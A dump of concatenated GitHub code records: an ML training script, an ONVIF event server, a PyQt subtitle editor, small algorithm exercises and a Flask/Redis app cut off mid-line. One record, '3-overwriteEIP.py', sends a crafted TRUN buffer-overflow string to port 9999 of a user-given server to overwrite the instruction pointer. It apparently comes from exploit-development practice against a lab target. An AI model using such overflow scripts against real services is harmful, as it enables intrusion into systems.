parser = argparse.ArgumentParser(description=\"\")\n\n parser.add_argument(\n 'config_path',\n type=str, help=\"path to the config file\",\n )\n parser.add_argument(\n '--train_dataset_dir',\n type=str, help=\"train dataset directory\",\n )\n parser.add_argument(\n '--test_dataset_dir',\n type=str, help=\"test dataset directory\",\n )\n parser.add_argument(\n '--save_dir',\n type=str, help=\"config override\",\n )\n parser.add_argument(\n '--load_dir',\n type=str, help=\"config override\",\n )\n parser.add_argument(\n '--tensorboard_log_dir',\n type=str, help=\"config override\",\n )\n\n parser.add_argument(\n '--device',\n type=str, help=\"config override\",\n )\n\n parser.add_argument(\n '--distributed_training',\n type=str2bool, help=\"confg override\",\n )\n parser.add_argument(\n '--distributed_world_size',\n type=int, help=\"config override\",\n )\n parser.add_argument(\n '--distributed_rank',\n type=int, help=\"config override\",\n )\n\n args = parser.parse_args()\n\n config = Config.from_file(args.config_path)\n\n if args.device is not None:\n config.override('device', args.device)\n\n if args.distributed_training is not None:\n config.override('distributed_training', args.distributed_training)\n if args.distributed_rank is not None:\n config.override('distributed_rank', args.distributed_rank)\n if args.distributed_world_size is not None:\n config.override('distributed_world_size', args.distributed_world_size)\n\n if args.train_dataset_dir is not None:\n config.override(\n 'th2vec_train_dataset_dir',\n os.path.expanduser(args.train_dataset_dir),\n )\n if args.test_dataset_dir is not None:\n config.override(\n 'th2vec_test_dataset_dir',\n os.path.expanduser(args.test_dataset_dir),\n )\n if args.tensorboard_log_dir is not None:\n config.override(\n 'tensorboard_log_dir',\n os.path.expanduser(args.tensorboard_log_dir),\n )\n if args.load_dir is not None:\n config.override(\n 'th2vec_load_dir',\n os.path.expanduser(args.load_dir),\n )\n if args.save_dir is not None:\n config.override(\n 'th2vec_save_dir',\n os.path.expanduser(args.save_dir),\n )\n\n if config.get('distributed_training'):\n distributed.init_process_group(\n backend=config.get('distributed_backend'),\n init_method=config.get('distributed_init_method'),\n rank=config.get('distributed_rank'),\n world_size=config.get('distributed_world_size'),\n )\n\n if config.get('device') != 'cpu':\n torch.cuda.set_device(torch.device(config.get('device')))\n\n kernel = HolStepKernel(config.get('th2vec_theorem_length'))\n\n train_set = HolStepSet(\n kernel,\n os.path.expanduser(config.get('th2vec_train_dataset_dir')),\n premise_only=config.get('th2vec_premise_only'),\n )\n test_set = HolStepSet(\n kernel,\n os.path.expanduser(config.get('th2vec_test_dataset_dir')),\n premise_only=config.get('th2vec_premise_only'),\n )\n\n # kernel.postprocess_compression(4096)\n # train_set.postprocess()\n # test_set.postprocess()\n\n train_dataset = HolStepTermDataset(train_set)\n test_dataset = HolStepTermDataset(test_set)\n\n th2vec = Th2VecAutoEncoderEmbedder(config, kernel)\n\n th2vec.init_training(train_dataset)\n th2vec.init_testing(test_dataset)\n\n th2vec.load(True)\n\n epoch = 0\n while True:\n th2vec.batch_train(epoch)\n th2vec.batch_test()\n th2vec.save()\n epoch += 1\n","repo_name":"spolu/z3ta","sub_path":"archive/th2vec/autoencoder_embedder.py","file_name":"autoencoder_embedder.py","file_ext":"py","file_size_in_byte":12872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"21794012404","text":"import socket\nimport sys\n\nshellcode = b\"A\" * 2003 + b\"B\" * 4\n\ntry:\n ip_address = input(\"Enter the server IP address: \")\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n connect = s.connect((ip_address, 9999))\n s.send((b'TRUN /.:/' + shellcode))\n print(\"Fuzzing with TRUN command %s bytes\" % str(len(shellcode)))\n s.close()\nexcept Exception as e:\n print(\"Error connecting to server:\", e)\n sys.exit()\n","repo_name":"shamsherkhan852/Buffer-Overflow-tools","sub_path":"3-overwriteEIP.py","file_name":"3-overwriteEIP.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"42"} +{"seq_id":"6370768404","text":"import asyncio\nimport re\n#import json\nimport logging\nimport random\nimport datetime\nfrom typing import Dict, List\n\nfrom pyonvifsrv.context import Context\nfrom pyonvifsrv.service_base import ServiceBase\nfrom pyonvifsrv.utils import parseSOAPString, getServiceNameFromOnvifNS, getMethodNameFromBody, decapitalize, envelopeHeader, envelopeFooter, errorReponse\nfrom pyonvifsrv.const import ERROR_TYPE\n\nlogger = logging.getLogger(__name__)\n\ndef getDurationAsSeconds(duration):\n regex = re.compile(r'^P((\\d+Y)?(\\d+M)?(\\d+D)?)?(T(\\d+H)?(\\d+M)?(\\d+S)?)?$')\n match = re.match(regex, duration)\n if not match:\n raise Exception('Invalid duration string: {}'.format(duration))\n\n # Debugging\n # for i in range(1, len(match.groups())+1):\n # print('group {}: {}'.format(i, match.group(i)))\n\n # The match groups contain the characters (Y, M, D, H, M, S) at the end\n # We remove them with [:-1]\n # match.group(5) is not used, because it matches the whole T part, e.g. PT60S gives T60S\n years = int(match.group(2)[:-1]) if match.group(2) else 0\n months = int(match.group(3)[:-1]) if match.group(3) else 0\n days = int(match.group(4)[:-1]) if match.group(4) else 0\n hours = int(match.group(6)[:-1]) if match.group(6) else 0\n minutes = int(match.group(7)[:-1]) if match.group(7) else 0\n seconds = int(match.group(8)[:-1]) if match.group(8) else 0\n \n return (years * 365 * 24 * 60 * 60) + (months * 30 * 24 * 60 * 60) + (days * 24 * 60 * 60) + (hours * 60 * 60) + (minutes * 60) + seconds\n\nclass Message:\n def __init__(self, topicname: str, payload: any):\n self.topicname = topicname\n self.timestamp = datetime.datetime.now(datetime.timezone.utc)\n self.payload = payload\n self.properyOperation = 'Changed'\n\n def toXml(self) -> str:\n return '''\n \n {topicname}\n \n \n \n \n \n \n \n \n \n \n \n '''.format(topicname=self.topicname,\n timestamp=self.timestamp.isoformat(sep=\"T\", timespec=\"seconds\").replace(\"+00:00\", \"Z\"),\n sourceValue=self.payload[\"source_value\"],\n stateValue=self.payload[\"state_value\"],\n properyOperation=self.properyOperation)\n\nclass PullPointSubscription():\n def __init__(self, id: str, expirationTime: datetime):\n self.id = id\n self.expirationTime: datetime = expirationTime\n self.messages: List[Message] = []\n self.future = asyncio.get_running_loop().create_future()\n\n def addMessage(self, message: Message):\n self.messages.append(message)\n if not self.future.done:\n self.future.set_result(True)\n\n async def reNew(self, expirationTime: datetime):\n self.expirationTime = expirationTime\n self.future.cancel()\n try:\n await self.future\n except asyncio.CancelledError:\n pass\n self.future = asyncio.get_running_loop().create_future()\n\n async def wait_for(self, timeoutInSeconds: int):\n try:\n await asyncio.wait_for(self.future, timeoutInSeconds)\n except asyncio.TimeoutError:\n pass\n except asyncio.CancelledError:\n pass\n\nclass EventsService(ServiceBase):\n serviceName = \"events\"\n pullPointPath = r\"/onvif/pullpoint\"\n\n def __init__(self, context: Context):\n super().__init__(context)\n\n self.subscriptions: Dict[str, PullPointSubscription]= {}\n\n def triggerEvent(self, topicname: str, payload: any):\n for subscription in self.subscriptions.values():\n subscription.addMessage(Message(topicname, payload))\n\n def getRequestHandler(self):\n handlers = ServiceBase.getRequestHandler(self)\n handlers += [((self.pullPointPath + r\"/(\\d+)\", self._SubscriptionHandler, dict(serviceInstance=self)))]\n return handlers\n\n class _SubscriptionHandler(ServiceBase._ServiceHandler):\n\n async def post(self, subscriptionId):\n reqBody = self.request.body.decode('utf-8')\n #logger.debug(f\"HTTP request body: {reqBody}\")\n\n # Parse the SOAP XML and create a dictionary which contains the\n # SOAP header and body\n reqData = parseSOAPString(reqBody)\n reqData[\"urlParams\"] = {\"subscriptionId\": subscriptionId}\n #logging.debug(f\"data: \\n{json.dumps(reqData, indent=4)}\")\n\n [responseCode, response] = await self.callMethodFromSoapRequestData(reqData)\n self.set_status(responseCode)\n self.write(response)\n self.finish()\n\n def createPullPointSubscription(self, data):\n\n subscriptionId = str(random.randint(0, 2**32 - 1))\n\n initialTerminationTime: str = data[\"body\"][\"CreatePullPointSubscription\"][\"InitialTerminationTime\"]\n expireInSeconds = getDurationAsSeconds(initialTerminationTime)\n logger.debug(\"New PullPointSubscription {subscriptionId} expires in {expireInSeconds} seconds\".format(subscriptionId=subscriptionId, expireInSeconds=expireInSeconds))\n\n currentTime: datetime = datetime.datetime.now(datetime.timezone.utc)\n expirationTime: datetime = currentTime + datetime.timedelta(seconds=expireInSeconds)\n\n subscription = PullPointSubscription(subscriptionId, expirationTime)\n\n self.subscriptions[subscriptionId] = subscription\n\n return '''\n \n \n {pullPointAddress}\n \n {currentTime}\n {expirationTime}\n \t\t\n '''.format(pullPointAddress=self.context.hostUrl + self.pullPointPath + \"/\" + subscriptionId,\n currentTime=currentTime.isoformat(sep=\"T\", timespec=\"seconds\").replace(\"+00:00\", \"Z\"),\n expirationTime=expirationTime.isoformat(sep=\"T\", timespec=\"seconds\")).replace(\"+00:00\", \"Z\")\n\n async def pullMessages(self, data):\n subscriptionId = data[\"urlParams\"][\"subscriptionId\"]\n if subscriptionId not in self.subscriptions:\n return errorReponse(ERROR_TYPE.INVALID_ARGS_VAL, \"Subscription not found: \" + subscriptionId)\n\n subscription = self.subscriptions[subscriptionId]\n\n messagesXml = ''\n for message in subscription.messages:\n messagesXml += message.toXml()\n\n # Remove all messages from the subscription\n subscription.messages = []\n\n currentTime: datetime = datetime.datetime.now(datetime.timezone.utc)\n terminationTime: datetime = subscription.expirationTime\n\n timeoutInSeconds = getDurationAsSeconds(data[\"body\"][\"PullMessages\"][\"Timeout\"])\n\n logger.debug(\"Waiting for event messages (PullPointSubscription {subscriptionId}): Timeout in {timeoutInSeconds} seconds\".format(subscriptionId=subscriptionId, timeoutInSeconds=timeoutInSeconds))\n\n # sleep(timeoutInSeconds)\n #await asyncio.sleep(timeoutInSeconds)\n await subscription.wait_for(timeoutInSeconds)\n\n return '''\n \n {currentTime}\n {terminationTime}\n {messagesXml}\n \n '''.format(currentTime=currentTime.isoformat(sep=\"T\", timespec=\"seconds\").replace(\"+00:00\", \"Z\"),\n terminationTime=terminationTime.isoformat(sep=\"T\", timespec=\"seconds\").replace(\"+00:00\", \"Z\"),\n messagesXml=messagesXml)\n\n async def renew(self, data):\n subscriptionId = data[\"urlParams\"][\"subscriptionId\"]\n if subscriptionId not in self.subscriptions:\n return errorReponse(ERROR_TYPE.INVALID_ARGS_VAL, \"Subscription not found: \" + subscriptionId)\n\n subscription = self.subscriptions[subscriptionId]\n\n terminationTimeInSeconds = getDurationAsSeconds(data[\"body\"][\"Renew\"][\"TerminationTime\"])\n\n currentTime: datetime = datetime.datetime.now(datetime.timezone.utc)\n terminationTime: datetime = currentTime + datetime.timedelta(seconds=terminationTimeInSeconds)\n\n await subscription.reNew(terminationTime)\n\n logger.debug(\"Renew PullPointSubscription {subscriptionId}: new expirationTime: {terminationTime}\"\n .format(subscriptionId=subscriptionId,\n terminationTime=terminationTime.isoformat(sep=\"T\", timespec=\"seconds\").replace(\"+00:00\", \"Z\")))\n\n return '''\n \n {terminationTime}\n {currentTime}\n \n '''.format(terminationTime=terminationTime.isoformat(sep=\"T\", timespec=\"seconds\").replace(\"+00:00\", \"Z\"),\n currentTime=currentTime.isoformat(sep=\"T\", timespec=\"seconds\").replace(\"+00:00\", \"Z\"))\n\n def unsubscribe(self, data):\n subscriptionId = data[\"urlParams\"][\"subscriptionId\"]\n if subscriptionId in self.subscriptions:\n del self.subscriptions[subscriptionId]\n return '''\n \n '''\n else:\n return errorReponse(ERROR_TYPE.INVALID_ARGS_VAL, \"Subscription not found: \" + subscriptionId)\n\n def getEventProperties(self, data):\n return '''\n \n http://www.onvif.org/onvif/ver10/topics/topicns.xml\n true\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n http://www.onvif.org/ver10/tev/topicExpression/ConcreteSet\n http://docs.oasis-open.org/wsn/t-1/TopicExpression/Concrete\n http://www.onvif.org/ver10/tev/messageContentFilter/ItemFilter\n http://www.onvif.org/onvif/ver10/schema/onvif.xsd\n \n '''\n","repo_name":"nanosonde/sip2rtsp","sub_path":"pyonvifsrv/service_events.py","file_name":"service_events.py","file_ext":"py","file_size_in_byte":14793,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"42"} +{"seq_id":"12188522863","text":"import sys\nsys.stdin = open('input.txt','r')\n\ndef gcd(N,M):\n r=N%M\n if r==0:\n return M\n return gcd(M,r)\n\nif __name__ == '__main__':\n T=int(input())\n for _ in range(T):\n N,M=map(int,input().split())\n print(N*M//gcd(N,M))","repo_name":"ebbunnim/Algorithm","sub_path":"백준/1934_최소공배수.py","file_name":"1934_최소공배수.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"34940607391","text":"class Solution(object):\n def productExceptSelf(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n prefix = [1] * (len(nums) + 1)\n suffix = [1] * (len(nums) + 1)\n ans = []\n\n for i in range(len(nums)):\n prefix[i+1] = prefix[i] * nums[i]\n\n for i in range(len(nums)-1, -1, -1):\n suffix[i] = suffix[i+1] * nums[i]\n\n for i in range(len(nums)):\n ans.append(prefix[i] * suffix[i+1])\n\n return ans\n\n# Method 2 - slight variation\n\nclass Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n ans = []\n prefix = [1] * len(nums)\n suffix = [1] * len(nums)\n\n for i in range(1, len(nums)):\n prefix[i] = prefix[i-1] * nums[i-1]\n\n for i in range(len(nums)-1, 0, -1):\n suffix[i-1] = suffix[i] * nums[i]\n\n for i in range(len(nums)):\n ans.append(prefix[i] * suffix[i])\n\n return ans\n","repo_name":"srihariprasad-r/leet-code","sub_path":"leetcode-solutions/P0238.Product_except_self.py","file_name":"P0238.Product_except_self.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"33177774979","text":"from PyQt5.QtGui import QBrush, QColor, QKeyEvent, QMouseEvent\nfrom PyQt5.QtWidgets import QStyledItemDelegate, QPlainTextEdit, QLineEdit, QTableView, QWidget, QVBoxLayout, QAbstractItemView, QStyleOptionViewItem\nfrom PyQt5.QtCore import QAbstractTableModel, pyqtSignal, QModelIndex, Qt\nimport re\nfrom datetime import datetime\nfrom operator import itemgetter\n\n# Regex ensures string is a value timestamp format\ndef validateTimestampFormat(text):\n pattern = re.compile(\"^(2[0-3]|[0-1]?[\\d]):[0-5][\\d]:[0-5][\\d](([:.])\\d{1,3})?$\")\n if pattern.search(text):\n return True\n else:\n return False\n\n\n# Text editors which are shown when user edits any subtitle body cell in table\nclass InputBodyDelegate(QStyledItemDelegate):\n def createEditor(self, parent: QWidget, option: 'QStyleOptionViewItem', index: QModelIndex) -> QWidget:\n self.textEdit = QPlainTextEdit(parent)\n return self.textEdit\n\n def destroyEditor(self, editor: QWidget, index: QModelIndex) -> None:\n return super().destroyEditor(editor, index)\n\n\n# Text editor which shows when user edits a timestamp cell in table\n# Supports timestamp validation for contents\nclass InputTimeDelegate(QStyledItemDelegate):\n def createEditor(self, parent: QWidget, option: 'QStyleOptionViewItem', index: QModelIndex) -> QWidget:\n self.lineEdit = QLineEdit(parent)\n self.lineEdit.textChanged.connect(lambda: self.textChangedSlot(index))\n return self.lineEdit\n \n def textChangedSlot(self, index):\n if index.column() < 2:\n # Color cell green if contents is a valid timestamp\n if validateTimestampFormat(self.lineEdit.text()):\n self.lineEdit.setStyleSheet(\"background-color: #305540\")\n # No color if cell contains nothing\n elif self.lineEdit.text() == \"\":\n self.lineEdit.setStyleSheet(\"background-color: #2D2E3B\")\n # Color cell red if contents is an invalid timestamp\n else:\n self.lineEdit.setStyleSheet(\"background-color: #850A3A\")\n\n def destroyEditor(self, editor: QWidget, index: QModelIndex) -> None:\n return super().destroyEditor(editor, index)\n\n\n# Table implementation conforms to Qt's Model View Architecture\nclass SubtitleTableModel(QAbstractTableModel):\n # Data items follow format [start, end, text, id]\n # dataStore stores times as timestamps whereas sortedDataStore stores them as no. of seconds\n # id links elements in sortedDataStore with elements in dataStore\n # sortedDataStore is used for efficient underlying search operations\n dataStore = None\n sortedDataStore = None\n headerLabels = [\"Start\", \"End\", \"Body\"]\n\n refreshRowHeights = pyqtSignal()\n receiveStoredDataStore = pyqtSignal()\n transmitSortedDataStore = pyqtSignal(list)\n refreshTimeline = pyqtSignal()\n\n def __init__(self, data, sortedData):\n super(SubtitleTableModel, self).__init__()\n self.dataStore = data\n self.sortedDataStore = sortedData\n\n def data(self, index: QModelIndex, role: int = ...):\n # Return contents of cell\n if role == Qt.ItemDataRole.DisplayRole or role == Qt.ItemDataRole.EditRole:\n return self.dataStore[index.row()][index.column()]\n # Return color of cell\n if role == Qt.ItemDataRole.BackgroundRole:\n # Return results of timestamp validation for start and end columns\n if index.column() < 2:\n if validateTimestampFormat(self.dataStore[index.row()][index.column()]):\n return QBrush(QColor(\"#305540\"))\n elif self.dataStore[index.row()][index.column()] == \"\":\n return QBrush(QColor(\"#2D2E3B\"))\n else:\n return QBrush(QColor(\"#850A3A\"))\n # Any cell in text column always has same colour\n else:\n return QBrush(QColor(\"#2D2E3B\"))\n if role == Qt.ItemDataRole.TextColorRole:\n return QBrush(QColor(\"#FFFFFF\"))\n\n def setData(self, index: QModelIndex, value, role: int = ...):\n # Add new data to cells\n if role == Qt.ItemDataRole.EditRole:\n if index.row() < len(self.dataStore):\n # Assign new value to underlying data structure\n self.dataStore[index.row()][index.column()] = value\n self.refreshRowHeights.emit()\n\n # If new data is a valid timestamp, sortedDataStore must be re-sorted\n if index.column() < 2 and validateTimestampFormat(\n self.dataStore[index.row()][index.column()]\n ):\n # Most up-to-date version of sortedDataStore resides in WorkPanel instance\n # Request up-to-date version as a precaution\n self.receiveStoredDataStore.emit()\n timestamp = self.dataStore[index.row()][index.column()]\n if \".\" not in timestamp:\n timestamp += \".00\"\n # Convert timestamp to seconds\n timeCount = (\n datetime.strptime(timestamp, \"%H:%M:%S.%f\")\n - datetime.strptime(\"00:00:00.00\", \"%H:%M:%S.%f\")\n ).total_seconds()\n # Find id in unsorted\n targetId = self.dataStore[index.row()][3]\n # Match id in sorted and assign new time \n self.sortedDataStore[\n list(v[3] == targetId for v in self.sortedDataStore).index(True)\n ][index.column()] = (timeCount * 1000)\n # Sort sortedDataStore according to start values\n if index.column() == 0:\n self.sortedDataStore.sort(key=itemgetter(0), reverse=False)\n # Update timeline to reflect changed timings\n self.refreshTimeline.emit()\n # If the timestamp is invalid, it is added to sortedDataStore, but it doesn't need to be re-sorted\n elif index.column() < 2:\n self.receiveStoredDataStore.emit()\n targetId = self.dataStore[index.row()][3]\n self.sortedDataStore[\n list(v[3] == targetId for v in self.sortedDataStore).index(True)\n ][index.column()] = None\n self.refreshTimeline.emit()\n # If new data is subtitle text, add to both data stores, no sorting necessary\n else:\n self.receiveStoredDataStore.emit()\n targetId = self.dataStore[index.row()][3]\n self.sortedDataStore[\n list(v[3] == targetId for v in self.sortedDataStore).index(True)\n ][index.column()] = value\n # Return new sortedDataStore to WorkPanel\n self.transmitSortedDataStore.emit(self.sortedDataStore)\n\n if role == Qt.ItemDataRole.TextColorRole:\n return QBrush(QColor(\"#FFFFFF\"))\n\n return True\n\n def rowCount(self, parent=None, *args, **kwargs):\n return len(self.dataStore)\n\n def columnCount(self, parent=None, *args, **kwargs):\n return 3\n\n # Define table behaviour\n def flags(self, index: QModelIndex) -> Qt.ItemFlags:\n return (\n Qt.ItemFlag.ItemIsEnabled\n | Qt.ItemFlag.ItemIsSelectable\n | Qt.ItemFlag.ItemIsEditable\n )\n\n # For custom header labels\n def headerData(self, section: int, orientation: Qt.Orientation, role: int = ...):\n if (\n role == Qt.ItemDataRole.DisplayRole\n and orientation == Qt.Orientation.Horizontal\n ):\n return self.headerLabels[section]\n return QAbstractTableModel.headerData(self, section, orientation, role)\n\n\n# View for SubtitleTableModel\nclass SubtitleTable(QTableView):\n spaceSignal = pyqtSignal()\n leftSignal = pyqtSignal()\n rightSignal = pyqtSignal()\n\n def __init__(self):\n super(SubtitleTable, self).__init__()\n\n # Adjust row heights to fit new contents\n def changeRowHeights(self):\n for row in range(self.model().rowCount()):\n self.resizeRowToContents(row)\n self.setRowHeight(row, self.rowHeight(row) + 10)\n\n # Propagate key press events upwards to main where they get reassigned to media control functions\n def keyPressEvent(self, event: QKeyEvent) -> None:\n if event.key() == Qt.Key.Key_Space:\n self.spaceSignal.emit()\n elif event.key() == Qt.Key.Key_Left:\n self.leftSignal.emit()\n elif event.key() == Qt.Key.Key_Right:\n self.rightSignal.emit()\n\n def mousePressEvent(self, event: QMouseEvent) -> None:\n clickedIndex = self.indexAt(event.pos())\n clickedRow = clickedIndex.row()\n\n # A right click highlights row, marking it as ready for marking start and end times\n if event.button() == Qt.MouseButton.RightButton:\n # If click doesn't fall on any row, clear selection\n if len(self.selectionModel().selectedRows()) == 0 or clickedRow == -1:\n self.clearSelection()\n\n # Otherwise, select all right-clicked rows\n for index in self.selectionModel().selectedRows():\n if index.row() == clickedRow:\n self.clearSelection()\n return\n\n self.selectRow(clickedRow)\n\n self.setDisabled(True)\n self.setDisabled(False)\n\n # Left clicks open individual cells for editing\n elif event.button() == Qt.MouseButton.LeftButton:\n # If click doesn't fall on any row, clear selection\n if clickedRow == -1:\n self.clearSelection()\n else:\n self.edit(clickedIndex)\n\n\nclass WorkPanel(QWidget):\n subtitleWidgetList = []\n activeWidgetIndex = None\n subtitle = None\n video = None\n timeline = None\n\n subtitleList = []\n sortedSubtitleList = []\n\n adjustSubtitle = pyqtSignal()\n\n def __init__(self, subtitle, video, timeline):\n super(WorkPanel, self).__init__()\n\n self.subtitle = subtitle\n self.video = video\n self.timeline = timeline\n\n # Keep track of unique assiged ids\n self.idCounter = 0\n\n self.layout = QVBoxLayout()\n self.layout.setAlignment(Qt.AlignmentFlag.AlignTop)\n self.setLayout(self.layout)\n self.layout.setContentsMargins(0, 0, 0, 0)\n\n # Create table and define behaviours\n self.subtitleTable = SubtitleTable()\n self.subtitleTable.setSelectionBehavior(\n QAbstractItemView.SelectionBehavior.SelectRows\n )\n self.subtitleTable.horizontalHeader().setStretchLastSection(True)\n\n self.bodyDelegate = InputBodyDelegate()\n self.timeDelegate = InputTimeDelegate()\n self.subtitleTable.setItemDelegateForColumn(0, self.timeDelegate)\n self.subtitleTable.setItemDelegateForColumn(1, self.timeDelegate)\n self.subtitleTable.setItemDelegateForColumn(2, self.bodyDelegate)\n\n # [start, end, text, id]\n self.subtitleList = [\n [\"00:00:00.000\", \"00:00:00.000\", \"Welcome to Subwiz!\", self.idCounter]\n ]\n # Times stored as total seconds in sorted list\n self.sortedSubtitleList = [[0, 0, \"Welcome to Subwiz!\", self.idCounter]]\n self.idCounter += 1\n\n # Initialise model which table conforms to\n self.subtitleModel = SubtitleTableModel(\n self.subtitleList, self.sortedSubtitleList\n )\n self.subtitleTable.setModel(self.subtitleModel)\n self.subtitleModel.refreshRowHeights.connect(\n self.subtitleTable.changeRowHeights\n )\n self.subtitleModel.transmitSortedDataStore.connect(self.reassignSortedData)\n self.subtitleModel.receiveStoredDataStore.connect(\n self.passSortedDataToModel, Qt.ConnectionType.DirectConnection\n )\n self.subtitleModel.refreshTimeline.connect(self.timeline.update)\n self.subtitleTable.changeRowHeights()\n\n self.layout.addWidget(self.subtitleTable)\n\n self.show()\n\n self.subtitleTable.setColumnWidth(0, self.subtitleTable.columnWidth(0) + 10)\n self.subtitleTable.setColumnWidth(1, self.subtitleTable.columnWidth(1) + 10)\n\n # Press CTRL+J to jump to the start of the selected subtitle\n def jumpToSub(self):\n rows = self.subtitleTable.selectionModel().selectedRows()\n if len(rows) > 0:\n start = self.subtitleList[rows[0].row()][0]\n if validateTimestampFormat(start):\n if \".\" not in start:\n start += \".00\"\n start = (\n datetime.strptime(start, \"%H:%M:%S.%f\")\n - datetime.strptime(\"00:00:00.00\", \"%H:%M:%S.%f\")\n ).total_seconds()\n self.video.mediaPlayer.setPosition(int(start * 1000))\n\n def reassignSortedData(self, newSortedData):\n self.sortedSubtitleList = newSortedData\n self.timeline.passInSubtitles(newSortedData, self.subtitleList)\n\n def passSortedDataToModel(self):\n self.subtitleModel.sortedDataStore = self.sortedSubtitleList\n\n # pos passed in as milliseconds\n def subSearch(self, pos):\n changed = False\n for sub in self.sortedSubtitleList:\n start = sub[0]\n end = sub[1]\n if start != None and end != None:\n # Discontinue search if start and end are both larger than current position\n # Can be done because list is sorted\n if start > pos and end > pos:\n self.subtitle.hide()\n break\n # Otherwise test if start is less than end and that pos lies between them both\n if start <= end:\n if start <= pos <= end:\n self.subtitle.setText(sub[2])\n self.subtitle.show()\n self.subtitle.adjustSize()\n changed = True\n self.adjustSubtitle.emit()\n break\n if not changed:\n self.subtitle.hide()\n\n def addSubtitle(\n self, signalArtefact = None, start=\"00:00:00.000\", end=\"00:00:00.000\", body=\"\"\n ):\n # Subtitles will default init with timestamps at 0 and no text\n self.subtitleList.append([start, end, body, self.idCounter])\n self.sortedSubtitleList.insert(0, [0, 0, body, self.idCounter])\n self.idCounter += 1\n # Re-sort subtitle list and reflect changes in SubtitleTable\n self.subtitleModel.layoutChanged.emit()\n self.subtitleTable.changeRowHeights()\n\n self.timeline.update()\n\n def deleteSubtitle(self):\n rows = []\n deletedIds = []\n # Get selected rows and their ids\n for index in self.subtitleTable.selectionModel().selectedRows():\n rows.append(index.row())\n deletedIds.append(self.subtitleList[index.row()][3])\n for row in sorted(rows, reverse=True):\n del self.subtitleList[row]\n # Delete same entries in sorted data structures, using id to match\n for id in deletedIds:\n self.sortedSubtitleList = [\n v for v in self.sortedSubtitleList if v[3] not in deletedIds\n ]\n # Re-sort subtitle list and reflect changes in SubtitleTable\n self.subtitleModel.layoutChanged.emit()\n self.subtitleTable.changeRowHeights()\n self.timeline.passInSubtitles(self.sortedSubtitleList, self.subtitleList)\n\n self.timeline.update()\n","repo_name":"sami-hatna66/SubWiz","sub_path":"src/WorkPanel.py","file_name":"WorkPanel.py","file_ext":"py","file_size_in_byte":15709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"71316325886","text":"\n# _*_ encoding:utf-8 _*_\n\"\"\"\n# -*- coding: utf-8 -*-\n# @Time : 2019/9/5 10:35\n# @Author : yangfulong\n# @FileName: 数据去重.py.py\n# @Software: PyCharm\n# @Blog ：https://www.yangfulong.top/\n\n--------------------- \n版权声明：\n原文链接：\n\n\"\"\"\n\n\ndef ListSet01():\n l1 = ['b', 'c', 'd', 'b', 'c', 'a', 'a']\n l2_ = list({}.fromkeys(l1).keys())\n print(l2_)\n return l2_\n\n\n\ndef ListSet02():\n l1 =['b', 'c', 'd', 'b', 'c', 'a', 'a']\n l2_ = list(set(l1))\n print(l2_)\n return l2_\n\n\n\n\ndef ListSet03():\n l1 =['b', 'c', 'd', 'b', 'c', 'a', 'a']\n result = []\n l2_ = [result.append(l1_) for l1_ in l1 if l1_ not in result]\n print(result)\n return l2_\n\n\n\n\ndef ListSetAndStort04():\n l1 =['b', 'c', 'd', 'b', 'c', 'a', 'a']\n result = []\n l2_=list(set(l1))\n # l2_.sort(key=l1.index) #去重后保持顺序\n l2_.sort() #去重后顺序排序\n print(l2_)\n return result\n\n\n\n\n\nif __name__ == \"__main__\":\n ListSet01()\n ListSet02()\n ListSet03()\n ListSetAndStort04()\n\n\n\n\n\n\nif __name__ == \"__main__\":\n pass","repo_name":"fulongyang/Leetcode_python","sub_path":"Level 1/数据去重.py","file_name":"数据去重.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"41650056531","text":"import math\nclass package():\n def __init__(self,a,b,c,d,e,f,g,h,i):\n self.gyro_x = a\n self.gyro_y = b\n self.gyro_z = c\n self.accel_x = d\n self.accel_y = e\n self.accel_z = f\n self.rota_x = g\n self.rota_y = h\n self.rota_z = i\n self.string = \"{:f},{:f},{:f},{:f},{:f},{:f},{:f},{:f},{:f}\".format(a,b,c,d,e,f,g,h,i)\n @classmethod\n def from_string(cls,string):\n a,b,c,d,e,f,g,h,i= [float(x) for x in string.split(',')]\n return cls(a,b,c,d,e,f,g,h,i)\n def print_data(self):\n print\n print('gyro: x {:.4f} y {:.4f} z {:.4f}'.format(self.gyro_x,self.gyro_y,self.gyro_z))\n print('accel: x {:.4f} y {:.4f} z {:.4f}'.format(self.accel_x,self.accel_y,self.accel_z))\n print('rota: x {:.4f} y {:.4f} z {:.4f}'.format(self.rota_x,self.rota_y,self.rota_z))\n def to_str(self):\n return str(self.string)\n def get_norm_accel(self):\n return math.sqrt(self.accel_x*self.accel_x + self.accel_y*self.accel_y + self.accel_z*self.accel_z)\n","repo_name":"jackyyy0228/ESLab-final","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"12721242355","text":"import json\nimport redis\n\nfrom flask import Flask, render_template\nfrom flask import jsonify\n\napp = Flask(__name__)\nr = redis.StrictRedis(host='localhost', port=6379, db=0)\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/nextmessage')\ndef get_next_message():\n \"\"\" fetches a message (as json blob) from a redis list and returns it \"\"\"\n # assuming we are storing messages in a redis list called messages\n # rpop removes right-end of list (least-recently added, queue)\n new_message = r.rpop('messages')\n resend_old_message = False\n\n if new_message is None:\n new_message = r.get('lastmessage')\n resend_old_message = True\n\n r.set('lastmessage', new_message)\n new_message_json = 